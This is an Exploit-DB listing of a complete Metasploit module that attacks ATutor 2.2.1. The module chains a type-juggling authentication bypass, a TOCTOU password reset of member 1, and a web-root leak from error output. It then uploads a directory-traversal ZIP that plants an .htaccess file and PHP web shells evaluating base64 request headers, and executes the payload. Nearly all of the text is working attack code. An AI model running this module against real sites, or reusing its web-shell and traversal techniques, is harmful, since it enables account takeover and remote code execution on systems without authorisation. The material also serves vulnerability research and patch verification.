ATutor 2.2.1 - Directory Traversal / Remote Code Execution (Metasploit)

EDB-ID:

39639

CVE:

N/A




Platform:

PHP

Date:

2016-03-30


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
      'Description'    => %q{
         This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
         setup with display_errors set to On, which can be used to allow us to upload a malicious
         ZIP file. On the web application, a blacklist verification is performed before extraction,
         however it is not sufficient to prevent exploitation.

         You are required to login to the target to reach the vulnerability, however this can be
         done as a student account and remote registration is enabled by default.

         Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
         in order to bypass the authentication:

         1. confirm.php Authentication Bypass Type Juggling vulnerability
         2. password_reminder.php Remote Password Reset TOCTOU vulnerability
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.atutor.ca/' ],                           # Official Website
          [ 'URL', 'http://sourceincite.com/research/src-2016-09/'  ],  # Type Juggling Advisory
          [ 'URL', 'http://sourceincite.com/research/src-2016-10/'  ],  # TOCTOU Advisory
          [ 'URL', 'http://sourceincite.com/research/src-2016-11/'  ],  # Directory Traversal Advisory
          [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password to authenticate with'])
      ],self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    # there is no real way to finger print the target so we just
    # check if we can upload a zip and extract it into the web root...
    # obviously not ideal, but if anyone knows better, feel free to change
    if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
      if student_cookie != nil && disclose_web_root
        begin
          if upload_shell(student_cookie, check=true) && found
            return Exploit::CheckCode::Vulnerable
          end
        rescue Msf::Exploit::Failed => e
          vprint_error(e.message)
        end
      else
        # if we cant login, it may still be vuln
        return Exploit::CheckCode::Unknown
      end
    else
      # if no creds are supplied, it may still be vuln
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end

  def create_zip_file(check=false)
    zip_file      = Rex::Zip::Archive.new
    @header       = Rex::Text.rand_text_alpha_upper(4)
    @payload_name = Rex::Text.rand_text_alpha_lower(4)
    @archive_name = Rex::Text.rand_text_alpha_lower(3)
    @test_string  = Rex::Text.rand_text_alpha_lower(8)
    # we traverse back into the webroot mods/ directory (since it will be writable)
    path = "../../../../../../../../../../../../..#{@webroot}mods/"

    # we use this to give us the best chance of success. If a webserver has htaccess override enabled
    # we will win. If not, we may still win because these file extensions are often registered as php
    # with the webserver, thus allowing us remote code execution.
    if check
      zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
    else
      register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
      zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
      zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    end
    zip_file.pack
  end

  def found
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
    })
    if res and res.code == 200 and res.body =~ /#{@test_string}/
      return true
    end
    return false
  end

  def disclose_web_root
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
    })
    @webroot = "/"
    @webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
    if @webroot != "/"
      return true
    end
    return false
  end

  def call_php(ext)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    }, timeout=0.1)
    return res
  end

  def exec_code
    res = nil
    res = call_php("pht")
    if res == nil
      res = call_php("phtml")
    end
    if res == nil
      res = call_php("php4")
    end
  end

  def upload_shell(cookie, check)
    post_data = Rex::MIME::Message.new
    post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
    post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie,
      'vars_get' => {
        'h' => ''
      }
    })
    if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
      return true
    end
    # unknown failure...
    fail_with(Failure::Unknown, "Unable to upload php code")
    return false
  end

  def find_user(cookie)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "users", "profile.php"),
      'cookie' => cookie,
      # we need to set the agent to the same value that was in type_juggle,
      # since the bypassed session is linked to the user-agent. We can then
      # use that session to leak the username
      'agent' => ''
    })
    username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
    if username
       return username
    end
    # else we fail, because we dont know the username to login as
    fail_with(Failure::Unknown, "Unable to find the username!")
  end

  def type_juggle
    # high padding, means higher success rate
    # also, we use numbers, so we can count requests :p
    for i in 1..8
      for @number in ('0'*i..'9'*i)
        res = send_request_cgi({
          'method'   => 'POST',
          'uri'      => normalize_uri(target_uri.path, "confirm.php"),
          'vars_post' => {
            'auto_login' => '',
            'code' => '0'        # type juggling
          },
          'vars_get' => {
            'e' => @number,      # the bruteforce
            'id' => '',
            'm' => '',
            # the default install script creates a member
            # so we know for sure, that it will be 1
            'member_id' => '1'
          },
          # need to set the agent, since we are creating x number of sessions
          # and then using that session to get leak the username
          'agent' => ''
        }, redirect_depth = 0)  # to validate a successful bypass
        if res and res.code == 302
          cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
          return cookie
        end
      end
    end
    # if we finish the loop and have no sauce, we cant make pasta
    fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
  end

  def reset_password
    # this is due to line 79 of password_reminder.php
    days = (Time.now.to_i/60/60/24)
    # make a semi strong password, we have to encourage security now :->
    pass = Rex::Text.rand_text_alpha(32)
    hash = Rex::Text.sha1(pass)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "password_reminder.php"),
      'vars_post' => {
        'form_change' => 'true',
        # the default install script creates a member
        # so we know for sure, that it will be 1
        'id' => '1',
        'g' => days + 1,                    # needs to be > the number of days since epoch
        'h' => '',                          # not even checked!
        'form_password_hidden' => hash,     # remotely reset the password
        'submit' => 'Submit'
      },
    }, redirect_depth = 0)  # to validate a successful bypass

    if res and res.code == 302
      return pass
    end
    # if we land here, the TOCTOU failed us
    fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
  end

  def login(username, password, check=false)
    hash = Rex::Text.sha1(Rex::Text.sha1(password))
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'vars_post' => {
        'form_password_hidden' => hash,
        'form_login' => username,
        'submit' => 'Login',
        'token' => '',
      },
    })
    # poor php developer practices
    cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
    if res && res.code == 302
      if res.redirection.to_s.include?('bounce.php?course=0')
        return cookie
      end
    end
    # auth failed if we land here, bail
    unless check
      fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    end
    return nil
  end

  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      private_data: opts[:password],
      origin_type: :service,
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: Time.now
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def exploit
    # login if needed
    if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
      report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
      print_good("Logged in as #{datastore['USERNAME']}")
    # else, we reset the students password via a type juggle vulnerability
    else
      print_status("Account details are not set, bypassing authentication...")
      print_status("Triggering type juggle attack...")
      student_cookie = type_juggle
      print_good("Successfully bypassed the authentication in #{@number} requests !")
      username = find_user(student_cookie)
      print_good("Found the username: #{username} !")
      password = reset_password
      print_good("Successfully reset the #{username}'s account password to #{password} !")
      report_cred(user: username, password: password)
      student_cookie = login(username, password)
      print_good("Logged in as #{username}")
    end

    if disclose_web_root
       print_good("Found the webroot")
       # we got everything. Now onto pwnage
       if upload_shell(student_cookie, false)
          print_good("Zip upload successful !")
          exec_code
       end
    end
  end
end

=begin
php.ini settings:
display_errors = On  
=end